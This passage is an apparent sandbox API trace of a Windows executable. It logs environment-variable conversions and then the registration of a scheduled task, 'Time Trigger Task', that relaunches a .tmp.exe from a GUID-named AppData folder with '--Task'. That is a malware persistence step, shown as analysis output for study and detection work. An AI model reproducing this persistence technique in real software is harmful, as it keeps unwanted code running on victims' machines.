CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x30eb3f8, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0041.948] GetLastError () returned 0x0 [0041.948] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3102c48) returned 0x3c [0041.948] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3102c48, Size=0x40) returned 0x3102c90 [0041.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0041.948] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3e) returned 0x3102c48 [0041.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x3102c48, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0041.948] GetLastError () returned 0x0 [0041.948] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3102c90) returned 0x40 [0041.948] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3102c90, Size=0x44) returned 0x3122520 [0041.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.948] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1b) returned 0x30f0490 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x30f0490, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0041.949] GetLastError () returned 0x0 [0041.949] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3122520) returned 0x44 [0041.949] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3122520, Size=0x48) returned 0x3122570 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0041.949] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1d) returned 0x30f0468 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x30f0468, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0041.949] GetLastError () returned 0x0 [0041.949] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3122570) returned 0x48 [0041.949] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3122570, Size=0x4c) returned 0x3111d68 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0041.949] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x48) returned 0x3122570 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x3122570, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0041.949] GetLastError () returned 0x0 [0041.949] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3111d68) returned 0x4c [0041.949] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3111d68, Size=0x50) returned 0x3111e70 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.949] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x12) returned 0x3124200 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x3124200, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0041.949] GetLastError () returned 0x0 [0041.949] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3111e70) returned 0x50 [0041.949] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3111e70, Size=0x54) returned 0x310e028 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.949] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x3124320 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x3124320, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0041.949] GetLastError () returned 0x0 [0041.949] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x310e028) returned 0x54 [0041.949] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x310e028, Size=0x58) returned 0x310e088 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.949] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1b) returned 0x30f04b8 [0041.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x30f04b8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0041.949] GetLastError () returned 0x0 [0041.949] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x310e088) returned 0x58 [0041.950] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x310e088, Size=0x5c) returned 0x3078d78 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.950] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x312aa10 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x312aa10, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0041.950] GetLastError () returned 0x0 [0041.950] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3078d78) returned 0x5c [0041.950] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3078d78, Size=0x60) returned 0x3078e48 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0041.950] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x29) returned 0x30ea090 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x30ea090, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0041.950] GetLastError () returned 0x0 [0041.950] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3078e48) returned 0x60 [0041.950] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3078e48, Size=0x64) returned 0x3031b30 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.950] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x30f04e0 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x30f04e0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0041.950] GetLastError () returned 0x0 [0041.950] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3031b30) returned 0x64 [0041.950] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3031b30, Size=0x68) returned 0x3031c10 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0041.950] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x41) returned 0x3122520 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x3122520, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0041.950] GetLastError () returned 0x0 [0041.950] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3031c10) returned 0x68 [0041.950] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3031c10, Size=0x6c) returned 0x312beb8 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.950] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x31244c0 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x31244c0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0041.950] GetLastError () returned 0x0 [0041.950] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x312beb8) returned 0x6c [0041.950] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x312beb8, Size=0x70) returned 0x312bf30 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.950] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xf) returned 0x30f31e8 [0041.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x30f31e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0041.951] GetLastError () returned 0x0 [0041.951] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x312bf30) returned 0x70 [0041.951] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x312bf30, Size=0x74) returned 0x6fe338 [0041.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.951] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x16) returned 0x31241c0 [0041.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x31241c0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0041.951] GetLastError () returned 0x0 [0041.951] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6fe338) returned 0x74 [0041.951] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x6fe338, Size=0x78) returned 0x6fe3b8 [0041.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0041.951] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x30ea100 [0041.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x30ea100, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0041.951] GetLastError () returned 0x0 [0041.951] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6fe3b8) returned 0x78 [0041.951] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x6fe3b8, Size=0x7c) returned 0x6f06b0 [0041.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0041.951] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x29) returned 0x30ea138 [0041.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x30ea138, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0041.951] GetLastError () returned 0x0 [0041.951] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6f06b0) returned 0x7c [0041.951] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x6f06b0, Size=0x80) returned 0x6f11d8 [0041.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0041.951] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x15) returned 0x3124460 [0041.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3124460, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0041.951] GetLastError () returned 0x0 [0041.951] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6f11d8) returned 0x80 [0041.951] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x6f11d8, Size=0x84) returned 0x70f058 [0041.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.951] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x30f0508 [0041.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x30f0508, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0041.951] GetLastError () returned 0x0 [0041.951] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x70f058) returned 0x84 [0041.951] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x70f058, Size=0x88) returned 0x70f448 [0041.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0041.952] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x30ea170 [0041.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x30ea170, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0041.952] GetLastError () returned 0x0 [0041.952] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x70f448) returned 0x88 [0041.952] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x70f448, Size=0x8c) returned 0x7075d0 [0041.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.952] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x12) returned 0x31244a0 [0041.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x31244a0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0041.952] GetLastError () returned 0x0 [0041.952] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x7075d0) returned 0x8c [0041.952] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x7075d0, Size=0x90) returned 0x7075d0 [0041.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.952] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x31246a0 [0041.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x31246a0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0041.952] GetLastError () returned 0x0 [0041.952] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x7075d0) returned 0x90 [0041.952] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x7075d0, Size=0x94) returned 0x30f2b48 [0041.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0041.952] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x46) returned 0x31225c0 [0041.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x31225c0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0041.952] GetLastError () returned 0x0 [0041.952] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30f2b48) returned 0x94 [0041.952] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30f2b48, Size=0x98) returned 0x30f2b48 [0041.952] GetLastError () returned 0x0 [0041.952] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0041.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18bde4 | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18bde4) returned 26 [0041.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18bde4 | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18bde4) returned 26 [0041.962] GetLastError () returned 0x0 [0041.962] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x24) returned 0x312aaa0 [0041.962] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452028, cbMultiByte=-1, lpWideCharStr=0x312aaa0, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0041.963] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xa0) returned 0x3039460 [0041.963] GetLastError () returned 0x0 [0041.963] ITrigger:put_StartBoundary (This=0x26d0e38, StartBoundary="2019-07-08T16:48:22") returned 0x0 [0041.963] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f3200 | out: hHeap=0x620000) returned 1 [0041.963] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30fa678 | out: hHeap=0x620000) returned 1 [0041.963] IUnknown:Release (This=0x26d0e38) returned 0x1 [0041.963] ITaskDefinition:get_Actions (in: This=0x26d0b88, ppActions=0x18c3b0 | out: ppActions=0x18c3b0*=0x26d0c00) returned 0x0 [0041.963] IActionCollection:Create (in: This=0x26d0c00, Type=0, ppAction=0x18c39c | out: ppAction=0x18c39c*=0x26d0ec0) returned 0x0 [0041.964] IUnknown:Release (This=0x26d0c00) returned 0x1 [0041.964] IUnknown:QueryInterface (in: This=0x26d0ec0, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18c3b8 | out: ppvObject=0x18c3b8*=0x26d0ec0) returned 0x0 [0041.964] IUnknown:Release (This=0x26d0ec0) returned 0x2 [0041.964] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f3200 [0041.964] IExecAction:put_Path (This=0x26d0ec0, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe") returned 0x0 [0041.964] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f3200 | out: hHeap=0x620000) returned 1 [0041.964] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f3200 [0041.964] IExecAction:put_Arguments (This=0x26d0ec0, Arguments="--Task") returned 0x0 [0041.964] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f3200 | out: hHeap=0x620000) returned 1 [0041.964] IUnknown:Release (This=0x26d0ec0) returned 0x1 [0041.964] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x30f3200 [0041.964] ITaskFolder:RegisterTaskDefinition (in: This=0x2bff98, Path="Time Trigger Task", pDefinition=0x26d0b88, flags=6, UserId=0x18be58*(varType=0x0, wReserved1=0x30e, wReserved2=0xc36c, wReserved3=0x18, varVal1=0x41720b, varVal2=0x620000), password=0x18be68*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), LogonType=3, sddl=0x18be7c*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", 